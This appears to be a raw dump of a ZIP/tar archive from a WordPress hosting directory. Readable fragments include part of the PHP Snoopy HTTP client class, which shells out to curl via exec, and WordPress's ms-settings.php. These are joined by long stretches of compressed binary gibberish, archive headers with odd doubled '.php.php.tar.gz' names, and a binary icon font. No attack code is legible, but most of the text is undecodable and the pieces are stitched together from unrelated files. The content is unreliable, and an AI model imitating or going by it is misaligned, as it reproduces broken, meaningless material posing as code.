"application/x-www-form-urlencoded"; } /*======================================================================*\ Private functions \*======================================================================*/ /*======================================================================*\ Function: _striplinks Purpose: strip the hyperlinks from an html document Input: $document document to strip. Output: $match an array of the links \*======================================================================*/ function _striplinks($document) { preg_match_all("'<\s*a\s.*?href\s*=\s* # find ]+)) # if quote found, match up to next matching # quote, otherwise match up to next space 'isx",$document,$links); // catenate the non-empty matches from the conditional subpattern foreach ( $links[2] as $key => $val ) { if(!empty($val)) $match[] = $val; } foreach ( $links[3] as $key => $val ) { if(!empty($val)) $match[] = $val; } // return the links return $match; } /*======================================================================*\ Function: _stripform Purpose: strip the form elements from an html document Input: $document document to strip. Output: $match an array of the links \*======================================================================*/ function _stripform($document) { preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements); // catenate the matches $match = implode("\r\n",$elements[0]); // return the links return $match; } /*======================================================================*\ Function: _striptext Purpose: strip the text from an html document Input: $document document to strip. Output: $text the resulting text \*======================================================================*/ function _striptext($document) { // I didn't use preg eval (//e) since that is only available in PHP 4.0. // so, list your entities one by one here. I included some of the // more common ones. $search = array("']*?>.*?'si", // strip out javascript "'<[\/\!]*?[^<>]*?>'si", // strip out html tags "'([\r\n])[\s]+'", // strip out white space "'&(quot|#34|#034|#x22);'i", // replace html entities "'&(amp|#38|#038|#x26);'i", // added hexadecimal values "'&(lt|#60|#060|#x3c);'i", "'&(gt|#62|#062|#x3e);'i", "'&(nbsp|#160|#xa0);'i", "'&(iexcl|#161);'i", "'&(cent|#162);'i", "'&(pound|#163);'i", "'&(copy|#169);'i", "'&(reg|#174);'i", "'&(deg|#176);'i", "'&(#39|#039|#x27);'", "'&(euro|#8364);'i", // europe "'&a(uml|UML);'", // german "'&o(uml|UML);'", "'&u(uml|UML);'", "'&A(uml|UML);'", "'&O(uml|UML);'", "'&U(uml|UML);'", "'ß'i", ); $replace = array( "", "", "\\1", "\"", "&", "<", ">", " ", chr(161), chr(162), chr(163), chr(169), chr(174), chr(176), chr(39), chr(128), chr(0xE4), // ANSI ä chr(0xF6), // ANSI ö chr(0xFC), // ANSI ü chr(0xC4), // ANSI Ä chr(0xD6), // ANSI Ö chr(0xDC), // ANSI Ü chr(0xDF), // ANSI ß ); $text = preg_replace($search,$replace,$document); return $text; } /*======================================================================*\ Function: _expandlinks Purpose: expand each link into a fully qualified URL Input: $links the links to qualify $URI the full URI to get the base from Output: $expandedLinks the expanded links \*======================================================================*/ function _expandlinks($links,$URI) { preg_match("/^[^\?]+/",$URI,$match); $match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]); $match = preg_replace("|/$|","",$match); $match_part = parse_url($match); $match_root = $match_part["scheme"]."://".$match_part["host"]; $search = array( "|^http://".preg_quote($this->host)."|i", "|^(\/)|i", "|^(?!http://)(?!mailto:)|i", "|/\./|", "|/[^\/]+/\.\./|" ); $replace = array( "", $match_root."/", $match."/", "/", "/" ); $expandedLinks = preg_replace($search,$replace,$links); return $expandedLinks; } /*======================================================================*\ Function: _httprequest Purpose: go get the http data from the server Input: $url the url to fetch $fp the current open file pointer $URI the full URI $body body contents to send if any (POST) Output: \*======================================================================*/ function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="") { $cookie_headers = ''; if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/"; $headers = $http_method." ".$url." ".$this->_httpversion."\r\n"; if(!empty($this->agent)) $headers .= "User-Agent: ".$this->agent."\r\n"; if(!empty($this->host) && !isset($this->rawheaders['Host'])) { $headers .= "Host: ".$this->host; if(!empty($this->port) && $this->port != 80) $headers .= ":".$this->port; $headers .= "\r\n"; } if(!empty($this->accept)) $headers .= "Accept: ".$this->accept."\r\n"; if(!empty($this->referer)) $headers .= "Referer: ".$this->referer."\r\n"; if(!empty($this->cookies)) { if(!is_array($this->cookies)) $this->cookies = (array)$this->cookies; reset($this->cookies); if ( count($this->cookies) > 0 ) { $cookie_headers .= 'Cookie: '; foreach ( $this->cookies as $cookieKey => $cookieVal ) { $cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; "; } $headers .= substr($cookie_headers,0,-2) . "\r\n"; } } if(!empty($this->rawheaders)) { if(!is_array($this->rawheaders)) $this->rawheaders = (array)$this->rawheaders; foreach ( $this->rawheaders as $headerKey => $headerVal ) $headers .= $headerKey.": ".$headerVal."\r\n"; } if(!empty($content_type)) { $headers .= "Content-Type: $content_type"; if ($content_type == "multipart/form-data") $headers .= "; boundary=".$this->_mime_boundary; $headers .= "\r\n"; } if(!empty($body)) $headers .= "Content-Length: ".strlen($body)."\r\n"; if(!empty($this->user) || !empty($this->pass)) $headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n"; //add proxy auth headers if(!empty($this->proxy_user)) $headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n"; $headers .= "\r\n"; // set the read timeout if needed if ($this->read_timeout > 0) socket_set_timeout($fp, $this->read_timeout); $this->timed_out = false; fwrite($fp,$headers.$body,strlen($headers.$body)); $this->_redirectaddr = false; unset($this->headers); while($currentHeader = fgets($fp,$this->_maxlinelen)) { if ($this->read_timeout > 0 && $this->_check_timeout($fp)) { $this->status=-100; return false; } if($currentHeader == "\r\n") break; // if a header begins with Location: or URI:, set the redirect if(preg_match("/^(Location:|URI:)/i",$currentHeader)) { // get URL portion of the redirect preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches); // look for :// in the Location header to see if hostname is included if(!preg_match("|\:\/\/|",$matches[2])) { // no host in the path, so prepend $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; // eliminate double slash if(!preg_match("|^/|",$matches[2])) $this->_redirectaddr .= "/".$matches[2]; else $this->_redirectaddr .= $matches[2]; } else $this->_redirectaddr = $matches[2]; } if(preg_match("|^HTTP/|",$currentHeader)) { if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status)) { $this->status= $status[1]; } $this->response_code = $currentHeader; } $this->headers[] = $currentHeader; } $results = ''; do { $_data = fread($fp, $this->maxlength); if (strlen($_data) == 0) { break; } $results .= $_data; } while(true); if ($this->read_timeout > 0 && $this->_check_timeout($fp)) { $this->status=-100; return false; } // check if there is a redirect meta tag if(preg_match("']*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) { $this->_redirectaddr = $this->_expandlinks($match[1],$URI); } // have we hit our frame depth and is there frame src to fetch? if(($this->_framedepth < $this->maxframes) && preg_match_all("']+)'i",$results,$match)) { $this->results[] = $results; for($x=0; $x_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); } // have we already fetched framed content? elseif(is_array($this->results)) $this->results[] = $results; // no framed content else $this->results = $results; return true; } /*======================================================================*\ Function: _httpsrequest Purpose: go get the https data from the server using curl Input: $url the url to fetch $URI the full URI $body body contents to send if any (POST) Output: \*======================================================================*/ function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $headers = array(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/"; // GET ... header not needed for curl //$headers[] = $http_method." ".$url." ".$this->_httpversion; if(!empty($this->agent)) $headers[] = "User-Agent: ".$this->agent; if(!empty($this->host)) if(!empty($this->port)) $headers[] = "Host: ".$this->host.":".$this->port; else $headers[] = "Host: ".$this->host; if(!empty($this->accept)) $headers[] = "Accept: ".$this->accept; if(!empty($this->referer)) $headers[] = "Referer: ".$this->referer; if(!empty($this->cookies)) { if(!is_array($this->cookies)) $this->cookies = (array)$this->cookies; reset($this->cookies); if ( count($this->cookies) > 0 ) { $cookie_str = 'Cookie: '; foreach ( $this->cookies as $cookieKey => $cookieVal ) { $cookie_str .= $cookieKey."=".urlencode($cookieVal)."; "; } $headers[] = substr($cookie_str,0,-2); } } if(!empty($this->rawheaders)) { if(!is_array($this->rawheaders)) $this->rawheaders = (array)$this->rawheaders; foreach ( $this->rawheaders as $headerKey => $headerVal ) $headers[] = $headerKey.": ".$headerVal; } if(!empty($content_type)) { if ($content_type == "multipart/form-data") $headers[] = "Content-Type: $content_type; boundary=".$this->_mime_boundary; else $headers[] = "Content-Type: $content_type"; } if(!empty($body)) $headers[] = "Content-Length: ".strlen($body); if(!empty($this->user) || !empty($this->pass)) $headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass); $headerfile = tempnam( $this->temp_dir, "sno" ); $cmdline_params = '-k -D ' . escapeshellarg( $headerfile ); foreach ( $headers as $header ) { $cmdline_params .= ' -H ' . escapeshellarg( $header ); } if ( ! empty( $body ) ) { $cmdline_params .= ' -d ' . escapeshellarg( $body ); } if ( $this->read_timeout > 0 ) { $cmdline_params .= ' -m ' . escapeshellarg( $this->read_timeout ); } exec( $this->curl_path . ' ' . $cmdline_params . ' ' . escapeshellarg( $URI ), $results, $return ); if($return) { $this->error = "Error: cURL could not retrieve the document, error $return."; return false; } $results = implode("\r\n",$results); $result_headers = file("$headerfile"); $this->_redirectaddr = false; unset($this->headers); for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++) { // if a header begins with Location: or URI:, set the redirect if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader])) { // get URL portion of the redirect preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches); // look for :// in the Location header to see if hostname is included if(!preg_match("|\:\/\/|",$matches[2])) { // no host in the path, so prepend $this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port; // eliminate double slash if(!preg_match("|^/|",$matches[2])) $this->_redirectaddr .= "/".$matches[2]; else $this->_redirectaddr .= $matches[2]; } else $this->_redirectaddr = $matches[2]; } if(preg_match("|^HTTP/|",$result_headers[$currentHeader])) $this->response_code = $result_headers[$currentHeader]; $this->headers[] = $result_headers[$currentHeader]; } // check if there is a redirect meta tag if(preg_match("']*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match)) { $this->_redirectaddr = $this->_expandlinks($match[1],$URI); } // have we hit our frame depth and is there frame src to fetch? if(($this->_framedepth < $this->maxframes) && preg_match_all("']+)'i",$results,$match)) { $this->results[] = $results; for($x=0; $x_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host); } // have we already fetched framed content? elseif(is_array($this->results)) $this->results[] = $results; // no framed content else $this->results = $results; unlink("$headerfile"); return true; } /*======================================================================*\ Function: setcookies() Purpose: set cookies for a redirection \*======================================================================*/ function setcookies() { for($x=0; $xheaders); $x++) { if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match)) $this->cookies[$match[1]] = urldecode($match[2]); } } /*======================================================================*\ Function: _check_timeout Purpose: checks whether timeout has occurred Input: $fp file pointer \*======================================================================*/ function _check_timeout($fp) { if ($this->read_timeout > 0) { $fp_status = socket_get_status($fp); if ($fp_status["timed_out"]) { $this->timed_out = true; return true; } } return false; } /*======================================================================*\ Function: _connect Purpose: make a socket connection Input: $fp file pointer \*======================================================================*/ function _connect(&$fp) { if(!empty($this->proxy_host) && !empty($this->proxy_port)) { $this->_isproxy = true; $host = $this->proxy_host; $port = $this->proxy_port; } else { $host = $this->host; $port = $this->port; } $this->status = 0; if($fp = fsockopen( $host, $port, $errno, $errstr, $this->_fp_timeout )) { // socket connection succeeded return true; } else { // socket connection failed $this->status = $errno; switch($errno) { case -3: $this->error="socket creation failed (-3)"; case -4: $this->error="dns lookup failure (-4)"; case -5: $this->error="connection refused or timed out (-5)"; default: $this->error="connection failed (".$errno.")"; } return false; } } /*======================================================================*\ Function: _disconnect Purpose: disconnect a socket connection Input: $fp file pointer \*======================================================================*/ function _disconnect($fp) { return(fclose($fp)); } /*======================================================================*\ Function: _prepare_post_body Purpose: Prepare post body according to encoding type Input: $formvars - form variables $formfiles - form upload files Output: post body \*======================================================================*/ function _prepare_post_body($formvars, $formfiles) { settype($formvars, "array"); settype($formfiles, "array"); $postdata = ''; if (count($formvars) == 0 && count($formfiles) == 0) return; switch ($this->_submit_type) { case "application/x-www-form-urlencoded": reset($formvars); foreach ( $formvars as $key => $val ) { if (is_array($val) || is_object($val)) { foreach ( $val as $cur_key => $cur_val ) { $postdata .= urlencode($key)."[]=".urlencode($cur_val)."&"; } } else $postdata .= urlencode($key)."=".urlencode($val)."&"; } break; case "multipart/form-data": $this->_mime_boundary = "Snoopy".md5(uniqid(microtime())); reset($formvars); foreach ( $formvars as $key => $val ) { if (is_array($val) || is_object($val)) { foreach ( $val as $cur_key => $cur_val ) { $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n"; $postdata .= "$cur_val\r\n"; } } else { $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n"; $postdata .= "$val\r\n"; } } reset($formfiles); foreach ( $formfiles as $field_name => $file_names ) { settype($file_names, "array"); foreach ( $file_names as $file_name ) { if (!is_readable($file_name)) continue; $fp = fopen($file_name, "r"); $file_content = fread($fp, filesize($file_name)); fclose($fp); $base_name = basename($file_name); $postdata .= "--".$this->_mime_boundary."\r\n"; $postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n"; $postdata .= "$file_content\r\n"; } } $postdata .= "--".$this->_mime_boundary."--\r\n"; break; } return $postdata; } } endif; ?> PK; $[class-phpmailer.php.php.tar.gznu[TMK@+斶Iڦ-XP)"xm2i"n&mEN$"E2{@EhaUp)6"V:5]rimN(U桶ܕкq$&&Y* C't{}g4{?T$'rAZ-- |a(!Rk UR{Q2tT% Rm ӨsNwW2PE[,~&4T6ԩn=IVqx4{b V/Ɲl8?]L9f3o糫0(k/ݽΣ8FY9aό% WEtvM-}T eu1ލ޸XF6ʝ|P,8˥~8xe PK; $[Ѯclass-IXR-error.php.php.tar.gznu[S=o0* #-rQ کAd3R@RN='ʖĉ7;ޝ2]"R$=R[r]*% W\Vsaɏ[%v_a6a'0L~@&'Q<㋋(|(b<<PY H6c+dKEc8 p6A:eSb5 a-0M jnĘkecė,*]ڄ^yr3h8uYnIt+BRI1c{޳hxOAY˜om'Yh4˷_5Eh![Hx 7D 2=v@]J%HŴOZ..:X!Oz݄%(]HB>y./grk}^Oׁ v tJ֓+v`۳2UFMlf>#8'/ PK; $[ streams.php.php.tar.gznu[Yms8k+ I{iޚL\st(x[Ntu$%8$ۑ;MzFҾգ]gG`xN 7Bv=>i"ڧ ^'dLܹFΆOQx?xpap4x?0@SItc4y~ Nooo8t 3`F0>eSH<ߕ.1C@C"J7W89#=fsѐ nE?+`08|p0?ǃ_Chj)z@$l,Uý@ ):}wJV7vxga/_2wNӘG$O; ,YhD$4 )nZ!2$֤LRbh^N_#$zIڻL,7<8.mZָw׵)@uDUU rP#121G{0/0Oޑ9 `9p+Kh X!al|"vYPΖxl_|-?Z=s?;_ _1; b;oHm|-,r xS-6^:* gD }MV3"4EEn5?`<<<քNQǦ>/vnaYI?yh0s LinHB&Dθ~=a 5keI~Ss8p`8N$SMjglb"~zK`tę_ɵF>KTQ )X Q/?%bϓ &FI`C`[" 44ٌQ>.D)N53ݶ}z)#T*@?֛A3k9+ ύTk'wFK Ҋ򴎊OؽT u!6Ainz<]vtE昉Č'!JgaYLk4!XzP3W^N|2!UYQ%1VOSr7=bD-Eovl'5T}W^v%;*x_£Fpf[҈.e5ydHV8\=?=}2dzꕹR %o^OwzR>[ ~n~90Cf Lb@d30!oԁ-92R2!ä nAU 0"~öz\2&MBmR L6 X& Fp7g/ YE>C对^66 VK7^y$(u[}hU.T%|!,RVifʹ`*~5g\MϕO([MD\|7&> u;x\{z!{WX.aH(Y ѠZ02GC;A؁_^BxE`2ed8]}ahRu_.wzMySߪנuieW f Jfc~Blⱄ'mk%aXb|y&rkHs_!DMBUDY-E+YnDn%$kYY `|.JqxX tp$0b̤5JikͧjZ['Y}u8EN6f3`5: X@aJ9 b4F?HR@l(6KNﭯeP+s^8ٙH /XЇ6KzgU vK ) DI:װ}"Ǽ* ټ*i)X`-,]ʄC3a^YǢC+@iאnMwI *fwpۋ}t<* zRr˄̶2 j xm%AVny+֎9> 2fypy8g$PKG $[dL&&ms-site.php.php.tar.gznu[=ksFU%'fW^e-?Er.A JX(k^$m9UEHLOOOOqQҽt1y[۽gU;߻;/|ݻjQgQq CcOX[{}vK}NauS|0Ǘy~(LV~|13 ~{;}{4ҲTJasuT%q*1} |Z⩺'#MLuV;C;2,k_$\ vE\XL5Bd4A}=O YOq:H*ki? R.|bAz@Ec;O뫢z3Y*%JV\NjL$UgU)"ͩ;*}=twpI:HY\C!:~\qUG9J^ bo"U%˒5/Fl,}A^ZaE@q9Àt j (L;pUsP6X &Ii-3 !M| #fZjЪ4`?d̲VyZGzpClֈ-qF{A=ֲcNk~Rß53e FKD>y}:oeՇAZ{hCvw$]uxx˾H_9d95$#hJGdjE-2#vzxZKfA{P8@⎧iG|4P&*d3~'6횳lЫҷ"q8O3)4` [㘛^3J!Rwϰ64dIgЦ6P^l%E&6L0-H=G2 9˻<_`Vld@̀]yE*k/0`|΍l2@*wo*EnŎ{~7CA_kA룧bQgy xA>-(ƜǑ6NZ q5t/s0lzRH7P@tb˜rj^SEgptܙ=H;F*֬gڿzo+`" ~8~v/2ph3G;392.L"89JU%x\ B]SgZ~#Ik?ƻoWp+*q777\ups`9z} \\AGO5dhm R$KIu_6M =h#x2&!;g m4XJ+r(lt4W+e(a-wfiy#>@*O4#p!%kˬKl6K &^RL)E<^ߑ^eFJNc6 T` qqB'n$։Hpt'" 3 X:#Ys5ΐLyP(Z;{ڠMh!n O;[&}d!u #!ClϵN G+ޙdaWN_9\`Xu=qKB/Pz'5wF OAb>/@cև{t aVv4fo-vA9*c@4t,6y]LnsXۦJT`4֧.I<+ c>%wv l׮-yw7=jcZ Ap}j`ז2;ޡa[CF1Jl~ *5O!Ia23 rXV͉WajbM=&fsdTh]Y6 e[?"X1.̏qBˁMd & DiB15vH}uɳ'^)颾>y5^ȉ''OX-D-- #6Pſ=D^Q}#x+EDw[ in݈%.2]c񪣨\ѝ[<wc=1U݌JCPi)TDgo,#cNt'jOJE:"R@Iطax~L)%K)x%S`II zV|+  &;Pr s4-X@@z,{R,a6l?İɑEj}_Lחc Xz mn3lS)p <ຓȷSo*c9 Y@Co +2c{L ϧ3nOjmۭv_TVR{!wJ bx /f[j=uY$q n?I3{5tVЋP"?yn-B ۧO"NF.A)QLl\c{ܙU'89H$iDt$1O"[&0?ELn_ppg*RCNH>$ GBSZfh DWKW by.U4oq"vz״:V: ˾v87Gכ_i(~jaaBiJ[oU5| AT^oSolO";:$Ԅ8NJe[( xGʳ/=sw}KyH*H$ v9NK(ApyZϘ`g/?3PEY 37[.FU >d, 1(l/O`Y0[3"05?55Ñݸ57|2es&Zҥ|RcX^azM٨3N8$E#S2\{ -Ҹ^t #Yp0& '_v OMKBvY,d5Z;bB^pç%]UIx+ ǤжΗ1x67̳SC>8VU9p0}"Lh>U7qZGp;Cwz5aG}-Mnԯߠ]5ѵƺ#E ZEJ,o*\jZF ?01x5ԉ9,f߾9 y?lsGϑf=gT4<Ŏuc9_A+Qj3c?m~Lr:b:MسϽ<}@ s㰭&̋F#I-ޗl<diW,.,/8Fk4pAqnWg R- ZYq[g|o9CDݴ<3g\NGw\-Lf_-Ndt~tl#1)yfotOj :qBJ1KOmE5ps4[Fg&N5s]mro.aOLDVM[0$ݔ€np7 -*kZӕ!i¾iX8m]TMd4ćt^<%P[ $F3YgVoƻ?vo`; zrѻ7@ j"lfN'kJ>5L#TM\T+4HlɢI.E('&״I !G^"N rNpr!M9ẃۦy"5WC3׿zXf= ,`>,K޼ v(9 ΂Zcr[bk%hhxj!BD.]t )x) $Á)z$Op}kbegsnvUƙbGj5 qc!7U/7硛rF>m٣]"1olh#6 qDO7: .S#v(JC{vmM^'`QCNӰW<؈$EsDuujD滤RL*cݓV)^K$XxQ22W31Kq]5g(JHrl1;UNG1C)J_zw2y=?y>'%"|Ї ̸֔׉@,}iꚲX B-d I y# =l9,;7fpy,Sf,65Xz1]A=[iÜT\3JLL }UNˣfۣ> A ߘB>^#]s!=̙^5e*Y UX{Paw_ʲr^sٛpbL ĉ~ -@M>#NHk1XBҡi9˪SÑot5F&Y?kxAMqjxQ3W4} 28,EdBRjn@H Kk1 Z-i:TB@8.m8h3Cw%Z㼍 /L>mD̈́_W\^˽rQK@[5P6 yOYal冉6d3e6}MF$X, !5cRg8ͻȭ2J73s]ʯ{}|BᾮR13JO1Ft;+^D<|,F 1"$,'xFf "Y}%K?Xo*q}_c :ˡo^9DmRe-U{6orydvgiӖBXO콣>'z/hJ/q'j|&TpZH4o,4cD$퐲 zZ}Z3%YEj9 Lratn?~r'g]lm%|eqpF')p>in5OÓ F`_~1ג\lZThCQq&?|B ^h jcN!NAg0רYr#*r£pј%ͼ"1[%e5o 5-|N`Op=fqDRk0>>p XXھR}'mCjЛlSF/,H+۠=ϹtQ來.4M&9Dep_ *4m>jrLPWDKH_inQj5F*TP0%uaK 97vGӸ`"2np e/tCKODa츬T)&$tI)HAEӐ1;$G,!сBE1׷tg>P jBUa1쨮N` ?G3e3h3Ytm1<̊EeLDNmP\*,KѶȥ38AudY{Eˊ}5-VRr>Y2r%sﰻe\);f^>݇Zx,~r>'۳zj; nCWQGmCU_C N7zo眲B|ѹn]GC-mZiFf">S-݌i< Kǣ;}BgY*f2UcuSPT#NMAX̽wGݸV.l5Ruu6S9v& ["ߨT#5TdYOdm6כi5Vv/Ө4Ror>&8-luFf;^U]Nyzͺc 7fW05{.vu<^iU7L Mwŗ{;g^d*Oexށ{AL2eW[|O~Jͻem3sSH'ba@/bqs &# }1\o915iGMӚr*-@$:HgqnZdsw|ܔMaNxHj*KmRiڎ`X/lȹY$)P>E읅?u_&͎xn 멭 %"|aM$]``*__pK ⳸țB^cw;XӴf:SguAb3|v_|Fk7IHe]Ϭ٠)~K3˷9~zw9^oq]94TO _Ss#AdCke}=9.riY cN[`E%EkQ/zE Pb*_+ӓ ou (iu~0ˇGN_p{o8Aܤ~7aL?~珟#ڕPKJ $[mq*class-wp-html-open-elements.php.php.tar.gznu[kSG¯*$g*q&1W8#*RHcهd.ξ$a qhggzz===ˉp*x_g>ρc[F|H2.bA/Ive^ @S EvwykLy$c,aXeQ,Wb?V« _0!CdV&5ʽ H? aJ⇩C 8 $SM{Μ8DM5F% 'g^O@RM@X(=d80cx-C OIeޱxLS9q (j" e:1<z6{#( x Pg1H@6؇9)

O-T5٭Mu"&]LZl={u: ziC )yLIW"c?5!7t"Q2n$)q>5I1xVfn08q7-5,1K&4c4y3Kdu8KLMGk͌]?%-9ʱhbٵʆkӰ?x@tU@XݑQ 7t;KOF; G"̟vCEssu<vdi803ڣRmIТ-IqMa.E @#zÿhTnNb:~z>,Xt}z{CmM9QO Ŀ YwMɸQ "AGa~  Z6hс1f&f?#wO@lmXRN}nĻ2pm6bE{lrrk9f+P'm0 z2={p#h^$Xs %_|A*^lF> ^Mz,ƛ͛\Lknrm|%}/)sUw,pc> `C H)_ ptY$@rhC d6[//S]tGR#Ra#ӂB<:sÄ?e++lYu+__&kš ój3A H: ˼wq(<șI0`.EY,2sǽz::蝜G J7|{uomo~|d_]jo^xV|,>+οo.ط篏O;+/^_ϽYRAM#J)6|Ju[@ `ogA8Vx{%BgԮ 2F2`LN`ds,0"O^1n( ሩ1Y4in]*2౲ò |'dRBojy&,i-7斅WI[:͌{}梾[M Mr =M}0Z_ԈST[}AJ2JJҋZ"vxT6 ȣte,m<-JaO!*jjYa* P> ϰ3S"ǚg{=RǠ_1*pӅ`Wj0밝}'PEk<َr˹в%h0UTD6 isـ`>I҂!j/'ii;!ܓ͗=]/3u#bpMM4eŒbr GO[Ul#F| Sb YX瀭o>?Ÿ2Rq '?^L键m!>K]_p!XsavF]; qCm$SF_jW=vA wVDYݕfϢ0gQ(ef{7I>, 2 IVڗ`ŦXc!Po|6T 9O+w꼵*sN tA('G[" oZ?)%.&(WWWaMi  /)- ,Z{Ah[䅈j:aX#㫘j6DD>*A"০tnDJÀ jD7*A`W.ZG"{;(hHX.R&56$L`amUҶ{|Dzڋ:#IW_\gU\dJD󬴾;[d͕lK:жbˠ!cVh,gXҦ]6m4jA1cPCm5XȚJݜJҎyeT[u ֑+]GB<ݵx4pf#HA 0I~s&RMHXSU]1G{y>.vZ̑DEγ:1r^^OiǶs䴙JytYmrky]=h.R:pSyNr6 y͵2 r l@ exGxt&"yOx okŸ>>>Z ^PKL $[$ms-settings.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/ms-settings.php000064400000010145150556141650020133 0ustar00domain` instead. * @global string $path Deprecated. The path of the site found on load. * Use `get_site()->path` instead. * @global int $site_id Deprecated. The ID of the network found on load. * Use `get_current_network_id()` instead. * @global bool $public Deprecated. Whether the site found on load is public. * Use `get_site()->public` instead. * * @since 3.0.0 */ global $current_site, $current_blog, $domain, $path, $site_id, $public; /** WP_Network class */ require_once ABSPATH . WPINC . '/class-wp-network.php'; /** WP_Site class */ require_once ABSPATH . WPINC . '/class-wp-site.php'; /** Multisite loader */ require_once ABSPATH . WPINC . '/ms-load.php'; /** Default Multisite constants */ require_once ABSPATH . WPINC . '/ms-default-constants.php'; if ( defined( 'SUNRISE' ) ) { include_once WP_CONTENT_DIR . '/sunrise.php'; } /** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */ ms_subdomain_constants(); // This block will process a request if the current network or current site objects // have not been populated in the global scope through something like `sunrise.php`. if ( ! isset( $current_site ) || ! isset( $current_blog ) ) { $domain = strtolower( stripslashes( $_SERVER['HTTP_HOST'] ) ); if ( str_ends_with( $domain, ':80' ) ) { $domain = substr( $domain, 0, -3 ); $_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 ); } elseif ( str_ends_with( $domain, ':443' ) ) { $domain = substr( $domain, 0, -4 ); $_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 ); } $path = stripslashes( $_SERVER['REQUEST_URI'] ); if ( is_admin() ) { $path = preg_replace( '#(.*)/wp-admin/.*#', '$1/', $path ); } list( $path ) = explode( '?', $path ); $bootstrap_result = ms_load_current_site_and_network( $domain, $path, is_subdomain_install() ); if ( true === $bootstrap_result ) { // `$current_blog` and `$current_site are now populated. } elseif ( false === $bootstrap_result ) { ms_not_installed( $domain, $path ); } else { header( 'Location: ' . $bootstrap_result ); exit; } unset( $bootstrap_result ); $blog_id = $current_blog->blog_id; $public = $current_blog->public; if ( empty( $current_blog->site_id ) ) { // This dates to [MU134] and shouldn't be relevant anymore, // but it could be possible for arguments passed to insert_blog() etc. $current_blog->site_id = 1; } $site_id = $current_blog->site_id; wp_load_core_site_options( $site_id ); } $wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php. $wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id ); $table_prefix = $wpdb->get_blog_prefix(); $_wp_switched_stack = array(); $switched = false; // Need to init cache again after blog_id is set. wp_start_object_cache(); if ( ! $current_site instanceof WP_Network ) { $current_site = new WP_Network( $current_site ); } if ( ! $current_blog instanceof WP_Site ) { $current_blog = new WP_Site( $current_blog ); } // Define upload directory constants. ms_upload_constants(); /** * Fires after the current site and network have been detected and loaded * in multisite's bootstrap. * * @since 4.6.0 */ do_action( 'ms_loaded' ); PKO $[uP fonts.zipnu[PK#[r=_ f fdashicons.woffnu[wOFFf FFTMDrL"GDEF` 3OS/2@`icmapA@gaspglyf Ylhead\.6 hhea],$hmtx]H@r loca^Pvmaxp`` Yname`V/*vpostb F?webffV=c-xc`d``b `b`d`dd,`9xc`f?8Ue4ʹ)Ja~ _bDR6 xݐKA璨7 Ł$4$"Hhb!] ;[E;F j6y$`aoyÃ` ɀ;Xq9e!A&A6 K#S@SL5ڠh_YVU^jVվ늩S3u0-s`86((@i&1}rUN[Km*SAntCS6K]i9d~Ns( ?_oqK88Ξtvmg]媬ɪ\rN#ĵLNV?TX6ytxڬ |U8\;[[t,7u=l! K/FMnQAPE7D\F"aFmD&CqduFs I_N:̛t[Un'rGNݜIKW]o{*-dcX3LhCg<3G*_ziH(LLf+1[`HCdP@L9%Y0 Ca>x0ְ;geM+ݺ6HieŒ7ji?Ref6Ow[ʳ$-tK^plfeKʕͺU#X!^.*5j. ^m2 R)!:G;iu(MB*׶ƚ[4rzm+ݺ^[ u|"}}1ѐO$ЭIM{66,$;|[FU,o`=zwTKN47Wȵ\6^Sdi$A]%MÎ%H)(%l$abf7oeDjiill|q"}RzUda -&dOнW)MMHXrWk[?7*[c߰Mr;y3Yny45r Gib#Dw]vJ&:U R/u, :;th+~z~#uu©Xn;zp%<}N.+5 X|Twr #T^Jd?0'QO:&;$h. 8p'?K85gq֋!"g] =n#iPX@_"͹=Yo_WONU[Zv-nnbbGn':wJYincw-=;'(`'gt 3 \ivδ-& gCI0/^2{!ޅײvEBy*WΔDDQvVu0 5} !OhR }oUd⏷#}Fi/5dLWWgMPhnڠ5Xp ;=N6?Bk6-^,R&3gWTb9\ +ݪj?4 Ayř3zX= NY3(rY!Oʌ0tH1Wr~C۷:37_x|G^AOsŖCmmWK#U@uqz 5,vo bcB yEߔA8`;LiOQ݈ % Gc `H\:Fڃ\B+ֺ7=HVri;li 